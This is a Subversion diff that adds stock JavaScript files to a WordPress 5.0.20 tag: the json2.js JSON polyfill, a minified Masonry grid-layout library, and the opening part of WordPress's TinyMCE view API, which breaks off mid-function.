+            If it returns what it received, then the structure is not modified.
+            If it returns undefined then the member is deleted.
+
+            Example:
+
+            // Parse the text. Values that look like ISO date strings will
+            // be converted to Date objects.
+
+            myData = JSON.parse(text, function (key, value) {
+                var a;
+                if (typeof value === 'string') {
+                    a =
+/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2}(?:\.\d*)?)Z$/.exec(value);
+                    if (a) {
+                        return new Date(Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4],
+                            +a[5], +a[6]));
+                    }
+                }
+                return value;
+            });
+
+            myData = JSON.parse('["Date(09/09/2001)"]', function (key, value) {
+                var d;
+                if (typeof value === 'string' &&
+                        value.slice(0, 5) === 'Date(' &&
+                        value.slice(-1) === ')') {
+                    d = new Date(value.slice(5, -1));
+                    if (d) {
+                        return d;
+                    }
+                }
+                return value;
+            });
+
+
+    This is a reference implementation. You are free to copy, modify, or
+    redistribute.
+*/
+
+/*jslint 
+    eval, for, this 
+*/
+
+/*property
+    JSON, apply, call, charCodeAt, getUTCDate, getUTCFullYear, getUTCHours,
+    getUTCMinutes, getUTCMonth, getUTCSeconds, hasOwnProperty, join,
+    lastIndex, length, parse, prototype, push, replace, slice, stringify,
+    test, toJSON, toString, valueOf
+*/
+
+
+// Create a JSON object only if one does not already exist. We create the
+// methods in a closure to avoid creating global variables.
+
+if (typeof JSON !== 'object') {
+    JSON = {};
+}
+
+(function () {
+    'use strict';
+    
+    var rx_one = /^[\],:{}\s]*$/,
+        rx_two = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,
+        rx_three = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,
+        rx_four = /(?:^|:|,)(?:\s*\[)+/g,
+        rx_escapable = /[\\\"\u0000-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
+        rx_dangerous = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
+
+    function f(n) {
+        // Format integers to have at least two digits.
+        return n < 10 
+            ? '0' + n 
+            : n;
+    }
+    
+    function this_value() {
+        return this.valueOf();
+    }
+
+    if (typeof Date.prototype.toJSON !== 'function') {
+
+        Date.prototype.toJSON = function () {
+
+            return isFinite(this.valueOf())
+                ? this.getUTCFullYear() + '-' +
+                        f(this.getUTCMonth() + 1) + '-' +
+                        f(this.getUTCDate()) + 'T' +
+                        f(this.getUTCHours()) + ':' +
+                        f(this.getUTCMinutes()) + ':' +
+                        f(this.getUTCSeconds()) + 'Z'
+                : null;
+        };
+
+        Boolean.prototype.toJSON = this_value;
+        Number.prototype.toJSON = this_value;
+        String.prototype.toJSON = this_value;
+    }
+
+    var gap,
+        indent,
+        meta,
+        rep;
+
+
+    function quote(string) {
+
+// If the string contains no control characters, no quote characters, and no
+// backslash characters, then we can safely slap some quotes around it.
+// Otherwise we must also replace the offending characters with safe escape
+// sequences.
+
+        rx_escapable.lastIndex = 0;
+        return rx_escapable.test(string) 
+            ? '"' + string.replace(rx_escapable, function (a) {
+                var c = meta[a];
+                return typeof c === 'string'
+                    ? c
+                    : '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
+            }) + '"' 
+            : '"' + string + '"';
+    }
+
+
+    function str(key, holder) {
+
+// Produce a string from holder[key].
+
+        var i,          // The loop counter.
+            k,          // The member key.
+            v,          // The member value.
+            length,
+            mind = gap,
+            partial,
+            value = holder[key];
+
+// If the value has a toJSON method, call it to obtain a replacement value.
+
+        if (value && typeof value === 'object' &&
+                typeof value.toJSON === 'function') {
+            value = value.toJSON(key);
+        }
+
+// If we were called with a replacer function, then call the replacer to
+// obtain a replacement value.
+
+        if (typeof rep === 'function') {
+            value = rep.call(holder, key, value);
+        }
+
+// What happens next depends on the value's type.
+
+        switch (typeof value) {
+        case 'string':
+            return quote(value);
+
+        case 'number':
+
+// JSON numbers must be finite. Encode non-finite numbers as null.
+
+            return isFinite(value) 
+                ? String(value) 
+                : 'null';
+
+        case 'boolean':
+        case 'null':
+
+// If the value is a boolean or null, convert it to a string. Note:
+// typeof null does not produce 'null'. The case is included here in
+// the remote chance that this gets fixed someday.
+
+            return String(value);
+
+// If the type is 'object', we might be dealing with an object or an array or
+// null.
+
+        case 'object':
+
+// Due to a specification blunder in ECMAScript, typeof null is 'object',
+// so watch out for that case.
+
+            if (!value) {
+                return 'null';
+            }
+
+// Make an array to hold the partial results of stringifying this object value.
+
+            gap += indent;
+            partial = [];
+
+// Is the value an array?
+
+            if (Object.prototype.toString.apply(value) === '[object Array]') {
+
+// The value is an array. Stringify every element. Use null as a placeholder
+// for non-JSON values.
+
+                length = value.length;
+                for (i = 0; i < length; i += 1) {
+                    partial[i] = str(i, value) || 'null';
+                }
+
+// Join all of the elements together, separated with commas, and wrap them in
+// brackets.
+
+                v = partial.length === 0
+                    ? '[]'
+                    : gap
+                        ? '[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']'
+                        : '[' + partial.join(',') + ']';
+                gap = mind;
+                return v;
+            }
+
+// If the replacer is an array, use it to select the members to be stringified.
+
+            if (rep && typeof rep === 'object') {
+                length = rep.length;
+                for (i = 0; i < length; i += 1) {
+                    if (typeof rep[i] === 'string') {
+                        k = rep[i];
+                        v = str(k, value);
+                        if (v) {
+                            partial.push(quote(k) + (
+                                gap 
+                                    ? ': ' 
+                                    : ':'
+                            ) + v);
+                        }
+                    }
+                }
+            } else {
+
+// Otherwise, iterate through all of the keys in the object.
+
+                for (k in value) {
+                    if (Object.prototype.hasOwnProperty.call(value, k)) {
+                        v = str(k, value);
+                        if (v) {
+                            partial.push(quote(k) + (
+                                gap 
+                                    ? ': ' 
+                                    : ':'
+                            ) + v);
+                        }
+                    }
+                }
+            }
+
+// Join all of the member texts together, separated with commas,
+// and wrap them in braces.
+
+            v = partial.length === 0
+                ? '{}'
+                : gap
+                    ? '{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}'
+                    : '{' + partial.join(',') + '}';
+            gap = mind;
+            return v;
+        }
+    }
+
+// If the JSON object does not yet have a stringify method, give it one.
+
+    if (typeof JSON.stringify !== 'function') {
+        meta = {    // table of character substitutions
+            '\b': '\\b',
+            '\t': '\\t',
+            '\n': '\\n',
+            '\f': '\\f',
+            '\r': '\\r',
+            '"': '\\"',
+            '\\': '\\\\'
+        };
+        JSON.stringify = function (value, replacer, space) {
+
+// The stringify method takes a value and an optional replacer, and an optional
+// space parameter, and returns a JSON text. The replacer can be a function
+// that can replace values, or an array of strings that will select the keys.
+// A default replacer method can be provided. Use of the space parameter can
+// produce text that is more easily readable.
+
+            var i;
+            gap = '';
+            indent = '';
+
+// If the space parameter is a number, make an indent string containing that
+// many spaces.
+
+            if (typeof space === 'number') {
+                for (i = 0; i < space; i += 1) {
+                    indent += ' ';
+                }
+
+// If the space parameter is a string, it will be used as the indent string.
+
+            } else if (typeof space === 'string') {
+                indent = space;
+            }
+
+// If there is a replacer, it must be a function or an array.
+// Otherwise, throw an error.
+
+            rep = replacer;
+            if (replacer && typeof replacer !== 'function' &&
+                    (typeof replacer !== 'object' ||
+                    typeof replacer.length !== 'number')) {
+                throw new Error('JSON.stringify');
+            }
+
+// Make a fake root object containing our value under the key of ''.
+// Return the result of stringifying the value.
+
+            return str('', {'': value});
+        };
+    }
+
+
+// If the JSON object does not yet have a parse method, give it one.
+
+    if (typeof JSON.parse !== 'function') {
+        JSON.parse = function (text, reviver) {
+
+// The parse method takes a text and an optional reviver function, and returns
+// a JavaScript value if the text is a valid JSON text.
+
+            var j;
+
+            function walk(holder, key) {
+
+// The walk method is used to recursively walk the resulting structure so
+// that modifications can be made.
+
+                var k, v, value = holder[key];
+                if (value && typeof value === 'object') {
+                    for (k in value) {
+                        if (Object.prototype.hasOwnProperty.call(value, k)) {
+                            v = walk(value, k);
+                            if (v !== undefined) {
+                                value[k] = v;
+                            } else {
+                                delete value[k];
+                            }
+                        }
+                    }
+                }
+                return reviver.call(holder, key, value);
+            }
+
+
+// Parsing happens in four stages. In the first stage, we replace certain
+// Unicode characters with escape sequences. JavaScript handles many characters
+// incorrectly, either silently deleting them, or treating them as line endings.
+
+            text = String(text);
+            rx_dangerous.lastIndex = 0;
+            if (rx_dangerous.test(text)) {
+                text = text.replace(rx_dangerous, function (a) {
+                    return '\\u' +
+                            ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
+                });
+            }
+
+// In the second stage, we run the text against regular expressions that look
+// for non-JSON patterns. We are especially concerned with '()' and 'new'
+// because they can cause invocation, and '=' because it can cause mutation.
+// But just to be safe, we want to reject all unexpected forms.
+
+// We split the second stage into 4 regexp operations in order to work around
+// crippling inefficiencies in IE's and Safari's regexp engines. First we
+// replace the JSON backslash pairs with '@' (a non-JSON character). Second, we
+// replace all simple value tokens with ']' characters. Third, we delete all
+// open brackets that follow a colon or comma or that begin the text. Finally,
+// we look to see that the remaining characters are only whitespace or ']' or
+// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
+
+            if (
+                rx_one.test(
+                    text
+                        .replace(rx_two, '@')
+                        .replace(rx_three, ']')
+                        .replace(rx_four, '')
+                )
+            ) {
+
+// In the third stage we use the eval function to compile the text into a
+// JavaScript structure. The '{' operator is subject to a syntactic ambiguity
+// in JavaScript: it can begin a block or an object literal. We wrap the text
+// in parens to eliminate the ambiguity.
+
+                j = eval('(' + text + ')');
+
+// In the optional fourth stage, we recursively walk the new structure, passing
+// each name/value pair to a reviver function for possible transformation.
+
+                return typeof reviver === 'function'
+                    ? walk({'': j}, '')
+                    : j;
+            }
+
+// If the text is not JSON parseable, then a SyntaxError is thrown.
+
+            throw new SyntaxError('JSON.parse');
+        };
+    }
+}());
Index: /tags/5.0.20/src/wp-includes/js/masonry.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/masonry.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/masonry.min.js	(revision 56912)
@@ -0,0 +1,9 @@
+/*!
+ * Masonry PACKAGED v3.3.2
+ * Cascading grid layout library
+ * http://masonry.desandro.com
+ * MIT License
+ * by David DeSandro
+ */
+
+!function(a){function b(){}function c(a){function c(b){b.prototype.option||(b.prototype.option=function(b){a.isPlainObject(b)&&(this.options=a.extend(!0,this.options,b))})}function e(b,c){a.fn[b]=function(e){if("string"==typeof e){for(var g=d.call(arguments,1),h=0,i=this.length;i>h;h++){var j=this[h],k=a.data(j,b);if(k)if(a.isFunction(k[e])&&"_"!==e.charAt(0)){var l=k[e].apply(k,g);if(void 0!==l)return l}else f("no such method '"+e+"' for "+b+" instance");else f("cannot call methods on "+b+" prior to initialization; attempted to call '"+e+"'")}return this}return this.each(function(){var d=a.data(this,b);d?(d.option(e),d._init()):(d=new c(this,e),a.data(this,b,d))})}}if(a){var f="undefined"==typeof console?b:function(a){console.error(a)};return a.bridget=function(a,b){c(b),e(a,b)},a.bridget}}var d=Array.prototype.slice;"function"==typeof define&&define.amd?define("jquery-bridget/jquery.bridget",["jquery"],c):c("object"==typeof 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g.namespace="outlayer",g.Item=f,g.defaults={containerStyle:{position:"relative"},isInitLayout:!0,isOriginLeft:!0,isOriginTop:!0,isResizeBound:!0,isResizingContainer:!0,transitionDuration:"0.4s",hiddenStyle:{opacity:0,transform:"scale(0.001)"},visibleStyle:{opacity:1,transform:"scale(1)"}},e.extend(g.prototype,c.prototype),g.prototype.option=function(a){e.extend(this.options,a)},g.prototype._create=function(){this.reloadItems(),this.stamps=[],this.stamp(this.options.stamp),e.extend(this.element.style,this.options.containerStyle),this.options.isResizeBound&&this.bindResize()},g.prototype.reloadItems=function(){this.items=this._itemize(this.element.children)},g.prototype._itemize=function(a){for(var b=this._filterFindItemElements(a),c=this.constructor.Item,d=[],e=0,f=b.length;f>e;e++){var g=b[e],h=new c(g,this);d.push(h)}return d},g.prototype._filterFindItemElements=function(a){return e.filterFindElements(a,this.options.itemSelector)},g.prototype.getItemElements=function(){for(var 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c=this.size;c.isBorderBox&&(a+=b?c.paddingLeft+c.paddingRight+c.borderLeftWidth+c.borderRightWidth:c.paddingBottom+c.paddingTop+c.borderTopWidth+c.borderBottomWidth),a=Math.max(a,0),this.element.style[b?"width":"height"]=a+"px"}},g.prototype._emitCompleteOnItems=function(a,b){function c(){e.dispatchEvent(a+"Complete",null,[b])}function d(){g++,g===f&&c()}var e=this,f=b.length;if(!b||!f)return void c();for(var g=0,h=0,i=b.length;i>h;h++){var j=b[h];j.once(a,d)}},g.prototype.dispatchEvent=function(a,b,c){var d=b?[b].concat(c):c;if(this.emitEvent(a,d),i)if(this.$element=this.$element||i(this.element),b){var e=i.Event(b);e.type=a,this.$element.trigger(e,c)}else this.$element.trigger(a,c)},g.prototype.ignore=function(a){var b=this.getItem(a);b&&(b.isIgnored=!0)},g.prototype.unignore=function(a){var b=this.getItem(a);b&&delete b.isIgnored},g.prototype.stamp=function(a){if(a=this._find(a)){this.stamps=this.stamps.concat(a);for(var b=0,c=a.length;c>b;b++){var d=a[b];this.ignore(d)}}},g.prototype.unstamp=function(a){if(a=this._find(a))for(var b=0,c=a.length;c>b;b++){var d=a[b];e.removeFrom(this.stamps,d),this.unignore(d)}},g.prototype._find=function(a){return a?("string"==typeof a&&(a=this.element.querySelectorAll(a)),a=e.makeArray(a)):void 0},g.prototype._manageStamps=function(){if(this.stamps&&this.stamps.length){this._getBoundingRect();for(var a=0,b=this.stamps.length;b>a;a++){var c=this.stamps[a];this._manageStamp(c)}}},g.prototype._getBoundingRect=function(){var a=this.element.getBoundingClientRect(),b=this.size;this._boundingRect={left:a.left+b.paddingLeft+b.borderLeftWidth,top:a.top+b.paddingTop+b.borderTopWidth,right:a.right-(b.paddingRight+b.borderRightWidth),bottom:a.bottom-(b.paddingBottom+b.borderBottomWidth)}},g.prototype._manageStamp=j,g.prototype._getElementOffset=function(a){var b=a.getBoundingClientRect(),c=this._boundingRect,e=d(a),f={left:b.left-c.left-e.marginLeft,top:b.top-c.top-e.marginTop,right:c.right-b.right-e.marginRight,bottom:c.bottom-b.bottom-e.marginBottom};return f},g.prototype.handleEvent=function(a){var b="on"+a.type;this[b]&&this[b](a)},g.prototype.bindResize=function(){this.isResizeBound||(b.bind(a,"resize",this),this.isResizeBound=!0)},g.prototype.unbindResize=function(){this.isResizeBound&&b.unbind(a,"resize",this),this.isResizeBound=!1},g.prototype.onresize=function(){function a(){b.resize(),delete b.resizeTimeout}this.resizeTimeout&&clearTimeout(this.resizeTimeout);var b=this;this.resizeTimeout=setTimeout(a,100)},g.prototype.resize=function(){this.isResizeBound&&this.needsResizeLayout()&&this.layout()},g.prototype.needsResizeLayout=function(){var a=d(this.element),b=this.size&&a;return b&&a.innerWidth!==this.size.innerWidth},g.prototype.addItems=function(a){var b=this._itemize(a);return b.length&&(this.items=this.items.concat(b)),b},g.prototype.appended=function(a){var b=this.addItems(a);b.length&&(this.layoutItems(b,!0),this.reveal(b))},g.prototype.prepended=function(a){var b=this._itemize(a);if(b.length){var c=this.items.slice(0);this.items=b.concat(c),this._resetLayout(),this._manageStamps(),this.layoutItems(b,!0),this.reveal(b),this.layoutItems(c)}},g.prototype.reveal=function(a){this._emitCompleteOnItems("reveal",a);for(var b=a&&a.length,c=0;b&&b>c;c++){var d=a[c];d.reveal()}},g.prototype.hide=function(a){this._emitCompleteOnItems("hide",a);for(var b=a&&a.length,c=0;b&&b>c;c++){var d=a[c];d.hide()}},g.prototype.revealItemElements=function(a){var b=this.getItems(a);this.reveal(b)},g.prototype.hideItemElements=function(a){var b=this.getItems(a);this.hide(b)},g.prototype.getItem=function(a){for(var b=0,c=this.items.length;c>b;b++){var d=this.items[b];if(d.element===a)return d}},g.prototype.getItems=function(a){a=e.makeArray(a);for(var b=[],c=0,d=a.length;d>c;c++){var f=a[c],g=this.getItem(f);g&&b.push(g)}return b},g.prototype.remove=function(a){var b=this.getItems(a);if(this._emitCompleteOnItems("remove",b),b&&b.length)for(var c=0,d=b.length;d>c;c++){var f=b[c];f.remove(),e.removeFrom(this.items,f)}},g.prototype.destroy=function(){var a=this.element.style;a.height="",a.position="",a.width="";for(var b=0,c=this.items.length;c>b;b++){var d=this.items[b];d.destroy()}this.unbindResize();var e=this.element.outlayerGUID;delete l[e],delete this.element.outlayerGUID,i&&i.removeData(this.element,this.constructor.namespace)},g.data=function(a){a=e.getQueryElement(a);var b=a&&a.outlayerGUID;return b&&l[b]},g.create=function(a,b){function c(){g.apply(this,arguments)}return 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Index: /tags/5.0.20/src/wp-includes/js/mce-view.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mce-view.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mce-view.js	(revision 56912)
@@ -0,0 +1,974 @@
+/* global tinymce */
+
+/*
+ * The TinyMCE view API.
+ *
+ * Note: this API is "experimental" meaning that it will probably change
+ * in the next few releases based on feedback from 3.9.0.
+ * If you decide to use it, please follow the development closely.
+ *
+ * Diagram
+ *
+ * |- registered view constructor (type)
+ * |  |- view instance (unique text)
+ * |  |  |- editor 1
+ * |  |  |  |- view node
+ * |  |  |  |- view node
+ * |  |  |  |- ...
+ * |  |  |- editor 2
+ * |  |  |  |- ...
+ * |  |- view instance
+ * |  |  |- ...
+ * |- registered view
+ * |  |- ...
+ */
+( function( window, wp, shortcode, $ ) {
+	'use strict';
+
+	var views = {},
+		instances = {};
+
+	wp.mce = wp.mce || {};
+
+	/**
+	 * wp.mce.views
+	 *
+	 * A set of utilities that simplifies adding custom UI within a TinyMCE editor.
+	 * At its core, it serves as a series of converters, transforming text to a
+	 * custom UI, and back again.
+	 */
+	wp.mce.views = {
+
+		/**
+		 * Registers a new view type.
+		 *
+		 * @param {String} type   The view type.
+		 * @param {Object} extend An object to extend wp.mce.View.prototype with.
+		 */
+		register: function( type, extend ) {
+			views[ type ] = wp.mce.View.extend( _.extend( extend, { type: type } ) );
+		},
+
+		/**
+		 * Unregisters a view type.
+		 *
+		 * @param {String} type The view type.
+		 */
+		unregister: function( type ) {
+			delete views[ type ];
+		},
+
+		/**
+		 * Returns the settings of a view type.
+		 *
+		 * @param {String} type The view type.
+		 *
+		 * @return {Function} The view constructor.
+		 */
+		get: function( type ) {
+			return views[ type ];
+		},
+
+		/**
+		 * Unbinds all view nodes.
+		 * Runs before removing all view nodes from the DOM.
+		 */
+		unbind: function() {
+			_.each( instances, function( instance ) {
+				instance.unbind();
+			} );
+		},
+
+		/**
+		 * Scans a given string for each view's pattern,
+		 * replacing any matches with markers,
+		 * and creates a new instance for every match.
+		 *
+		 * @param {String} content The string to scan.
+		 * @param {tinymce.Editor} editor The editor.
+		 *
+		 * @return {String} The string with markers.
+		 */
+		setMarkers: function( content, editor ) {
+			var pieces = [ { content: content } ],
+				self = this,
+				instance, current;
+
+			_.each( views, function( view, type ) {
+				current = pieces.slice();
+				pieces  = [];
+
+				_.each( current, function( piece ) {
+					var remaining = piece.content,
+						result, text;
+
+					// Ignore processed pieces, but retain their location.
+					if ( piece.processed ) {
+						pieces.push( piece );
+						return;
+					}
+
+					// Iterate through the string progressively matching views
+					// and slicing the string as we go.
+					while ( remaining && ( result = view.prototype.match( remaining ) ) ) {
+						// Any text before the match becomes an unprocessed piece.
+						if ( result.index ) {
+							pieces.push( { content: remaining.substring( 0, result.index ) } );
+						}
+
+						result.options.editor = editor;
+						instance = self.createInstance( type, result.content, result.options );
+						text = instance.loader ? '.' : instance.text;
+
+						// Add the processed piece for the match.
+						pieces.push( {
+							content: instance.ignore ? text : '<p data-wpview-marker="' + instance.encodedText + '">' + text + '</p>',
+							processed: true
+						} );
+
+						// Update the remaining content.
+						remaining = remaining.slice( result.index + result.content.length );
+					}
+
+					// There are no additional matches.
+					// If any content remains, add it as an unprocessed piece.
+					if ( remaining ) {
+						pieces.push( { content: remaining } );
+					}
+				} );
+			} );
+
+			content = _.pluck( pieces, 'content' ).join( '' );
+			return content.replace( /<p>\s*<p data-wpview-marker=/g, '<p data-wpview-marker=' ).replace( /<\/p>\s*<\/p>/g, '</p>' );
+		},
+
+		/**
+		 * Create a view instance.
+		 *
+		 * @param {String}  type    The view type.
+		 * @param {String}  text    The textual representation of the view.
+		 * @param {Object}  options Options.
+		 * @param {Boolean} force   Recreate the instance. Optional.
+		 *
+		 * @return {wp.mce.View} The view instance.
+		 */
+		createInstance: function( type, text, options, force ) {
+			var View = this.get( type ),
+				encodedText,
+				instance;
+
+			if ( text.indexOf( '[' ) !== -1 && text.indexOf( ']' ) !== -1 ) {
+				// Looks like a shortcode? Remove any line breaks from inside of shortcodes
+				// or autop will replace them with <p> and <br> later and the string won't match.
+				text = text.replace( /\[[^\]]+\]/g, function( match ) {
+					return match.replace( /[\r\n]/g, '' );
+				});
+			}
+
+			if ( ! force ) {
+				instance = this.getInstance( text );
+
+				if ( instance ) {
+					return instance;
+				}
+			}
+
+			encodedText = encodeURIComponent( text );
+
+			options = _.extend( options || {}, {
+				text: text,
+				encodedText: encodedText
+			} );
+
+			return instances[ encodedText ] = new View( options );
+		},
+
+		/**
+		 * Get a view instance.
+		 *
+		 * @param {(String|HTMLElement)} object The textual representation of the view or the view node.
+		 *
+		 * @return {wp.mce.View} The view instance or undefined.
+		 */
+		getInstance: function( object ) {
+			if ( typeof object === 'string' ) {
+				return instances[ encodeURIComponent( object ) ];
+			}
+
+			return instances[ $( object ).attr( 'data-wpview-text' ) ];
+		},
+
+		/**
+		 * Given a view node, get the view's text.
+		 *
+		 * @param {HTMLElement} node The view node.
+		 *
+		 * @return {String} The textual representation of the view.
+		 */
+		getText: function( node ) {
+			return decodeURIComponent( $( node ).attr( 'data-wpview-text' ) || '' );
+		},
+
+		/**
+		 * Renders all view nodes that are not yet rendered.
+		 *
+		 * @param {Boolean} force Rerender all view nodes.
+		 */
+		render: function( force ) {
+			_.each( instances, function( instance ) {
+				instance.render( null, force );
+			} );
+		},
+
+		/**
+		 * Update the text of a given view node.
+		 *
+		 * @param {String}         text   The new text.
+		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
+		 * @param {HTMLElement}    node   The view node to update.
+		 * @param {Boolean}        force  Recreate the instance. Optional.
+		 */
+		update: function( text, editor, node, force ) {
+			var instance = this.getInstance( node );
+
+			if ( instance ) {
+				instance.update( text, editor, node, force );
+			}
+		},
+
+		/**
+		 * Renders any editing interface based on the view type.
+		 *
+		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
+		 * @param {HTMLElement}    node   The view node to edit.
+		 */
+		edit: function( editor, node ) {
+			var instance = this.getInstance( node );
+
+			if ( instance && instance.edit ) {
+				instance.edit( instance.text, function( text, force ) {
+					instance.update( text, editor, node, force );
+				} );
+			}
+		},
+
+		/**
+		 * Remove a given view node from the DOM.
+		 *
+		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
+		 * @param {HTMLElement}    node   The view node to remove.
+		 */
+		remove: function( editor, node ) {
+			var instance = this.getInstance( node );
+
+			if ( instance ) {
+				instance.remove( editor, node );
+			}
+		}
+	};
+
+	/**
+	 * A Backbone-like View constructor intended for use when rendering a TinyMCE View.
+	 * The main difference is that the TinyMCE View is not tied to a particular DOM node.
+	 *
+	 * @param {Object} options Options.
+	 */
+	wp.mce.View = function( options ) {
+		_.extend( this, options );
+		this.initialize();
+	};
+
+	wp.mce.View.extend = Backbone.View.extend;
+
+	_.extend( wp.mce.View.prototype, /** @lends wp.mce.View.prototype */{
+
+		/**
+		 * The content.
+		 *
+		 * @type {*}
+		 */
+		content: null,
+
+		/**
+		 * Whether or not to display a loader.
+		 *
+		 * @type {Boolean}
+		 */
+		loader: true,
+
+		/**
+		 * Runs after the view instance is created.
+		 */
+		initialize: function() {},
+
+		/**
+		 * Returns the content to render in the view node.
+		 *
+		 * @return {*}
+		 */
+		getContent: function() {
+			return this.content;
+		},
+
+		/**
+		 * Renders all view nodes tied to this view instance that are not yet rendered.
+		 *
+		 * @param {String}  content The content to render. Optional.
+		 * @param {Boolean} force   Rerender all view nodes tied to this view instance. Optional.
+		 */
+		render: function( content, force ) {
+			if ( content != null ) {
+				this.content = content;
+			}
+
+			content = this.getContent();
+
+			// If there's nothing to render an no loader needs to be shown, stop.
+			if ( ! this.loader && ! content ) {
+				return;
+			}
+
+			// We're about to rerender all views of this instance, so unbind rendered views.
+			force && this.unbind();
+
+			// Replace any left over markers.
+			this.replaceMarkers();
+
+			if ( content ) {
+				this.setContent( content, function( editor, node ) {
+					$( node ).data( 'rendered', true );
+					this.bindNode.call( this, editor, node );
+				}, force ? null : false );
+			} else {
+				this.setLoader();
+			}
+		},
+
+		/**
+		 * Binds a given node after its content is added to the DOM.
+		 */
+		bindNode: function() {},
+
+		/**
+		 * Unbinds a given node before its content is removed from the DOM.
+		 */
+		unbindNode: function() {},
+
+		/**
+		 * Unbinds all view nodes tied to this view instance.
+		 * Runs before their content is removed from the DOM.
+		 */
+		unbind: function() {
+			this.getNodes( function( editor, node ) {
+				this.unbindNode.call( this, editor, node );
+			}, true );
+		},
+
+		/**
+		 * Gets all the TinyMCE editor instances that support views.
+		 *
+		 * @param {Function} callback A callback.
+		 */
+		getEditors: function( callback ) {
+			_.each( tinymce.editors, function( editor ) {
+				if ( editor.plugins.wpview ) {
+					callback.call( this, editor );
+				}
+			}, this );
+		},
+
+		/**
+		 * Gets all view nodes tied to this view instance.
+		 *
+		 * @param {Function} callback A callback.
+		 * @param {Boolean}  rendered Get (un)rendered view nodes. Optional.
+		 */
+		getNodes: function( callback, rendered ) {
+			this.getEditors( function( editor ) {
+				var self = this;
+
+				$( editor.getBody() )
+					.find( '[data-wpview-text="' + self.encodedText + '"]' )
+					.filter( function() {
+						var data;
+
+						if ( rendered == null ) {
+							return true;
+						}
+
+						data = $( this ).data( 'rendered' ) === true;
+
+						return rendered ? data : ! data;
+					} )
+					.each( function() {
+						callback.call( self, editor, this, this /* back compat */ );
+					} );
+			} );
+		},
+
+		/**
+		 * Gets all marker nodes tied to this view instance.
+		 *
+		 * @param {Function} callback A callback.
+		 */
+		getMarkers: function( callback ) {
+			this.getEditors( function( editor ) {
+				var self = this;
+
+				$( editor.getBody() )
+					.find( '[data-wpview-marker="' + this.encodedText + '"]' )
+					.each( function() {
+						callback.call( self, editor, this );
+					} );
+			} );
+		},
+
+		/**
+		 * Replaces all marker nodes tied to this view instance.
+		 */
+		replaceMarkers: function() {
+			this.getMarkers( function( editor, node ) {
+				var selected = node === editor.selection.getNode();
+				var $viewNode;
+
+				if ( ! this.loader && $( node ).text() !== tinymce.DOM.decode( this.text ) ) {
+					editor.dom.setAttrib( node, 'data-wpview-marker', null );
+					return;
+				}
+
+				$viewNode = editor.$(
+					'<div class="wpview wpview-wrap" data-wpview-text="' + this.encodedText + '" data-wpview-type="' + this.type + '" contenteditable="false"></div>'
+				);
+
+				editor.$( node ).replaceWith( $viewNode );
+
+				if ( selected ) {
+					setTimeout( function() {
+						editor.selection.select( $viewNode[0] );
+						editor.selection.collapse();
+					} );
+				}
+			} );
+		},
+
+		/**
+		 * Removes all marker nodes tied to this view instance.
+		 */
+		removeMarkers: function() {
+			this.getMarkers( function( editor, node ) {
+				editor.dom.setAttrib( node, 'data-wpview-marker', null );
+			} );
+		},
+
+		/**
+		 * Sets the content for all view nodes tied to this view instance.
+		 *
+		 * @param {*}        content  The content to set.
+		 * @param {Function} callback A callback. Optional.
+		 * @param {Boolean}  rendered Only set for (un)rendered nodes. Optional.
+		 */
+		setContent: function( content, callback, rendered ) {
+			if ( _.isObject( content ) && ( content.sandbox || content.head || content.body.indexOf( '<script' ) !== -1 ) ) {
+				this.setIframes( content.head || '', content.body, callback, rendered );
+			} else if ( _.isString( content ) && content.indexOf( '<script' ) !== -1 ) {
+				this.setIframes( '', content, callback, rendered );
+			} else {
+				this.getNodes( function( editor, node ) {
+					content = content.body || content;
+
+					if ( content.indexOf( '<iframe' ) !== -1 ) {
+						content += '<span class="mce-shim"></span>';
+					}
+
+					editor.undoManager.transact( function() {
+						node.innerHTML = '';
+						node.appendChild( _.isString( content ) ? editor.dom.createFragment( content ) : content );
+						editor.dom.add( node, 'span', { 'class': 'wpview-end' } );
+					} );
+
+					callback && callback.call( this, editor, node );
+				}, rendered );
+			}
+		},
+
+		/**
+		 * Sets the content in an iframe for all view nodes tied to this view instance.
+		 *
+		 * @param {String}   head     HTML string to be added to the head of the document.
+		 * @param {String}   body     HTML string to be added to the body of the document.
+		 * @param {Function} callback A callback. Optional.
+		 * @param {Boolean}  rendered Only set for (un)rendered nodes. Optional.
+		 */
+		setIframes: function( head, body, callback, rendered ) {
+			var self = this;
+
+			if ( body.indexOf( '[' ) !== -1 && body.indexOf( ']' ) !== -1 ) {
+				var shortcodesRegExp = new RegExp( '\\[\\/?(?:' + window.mceViewL10n.shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
+				// Escape tags inside shortcode previews.
+				body = body.replace( shortcodesRegExp, function( match ) {
+					return match.replace( /</g, '&lt;' ).replace( />/g, '&gt;' );
+				} );
+			}
+
+			this.getNodes( function( editor, node ) {
+				var dom = editor.dom,
+					styles = '',
+					bodyClasses = editor.getBody().className || '',
+					editorHead = editor.getDoc().getElementsByTagName( 'head' )[0],
+					iframe, iframeWin, iframeDoc, MutationObserver, observer, i, block;
+
+				tinymce.each( dom.$( 'link[rel="stylesheet"]', editorHead ), function( link ) {
+					if ( link.href && link.href.indexOf( 'skins/lightgray/content.min.css' ) === -1 &&
+						link.href.indexOf( 'skins/wordpress/wp-content.css' ) === -1 ) {
+
+						styles += dom.getOuterHTML( link );
+					}
+				} );
+
+				if ( self.iframeHeight ) {
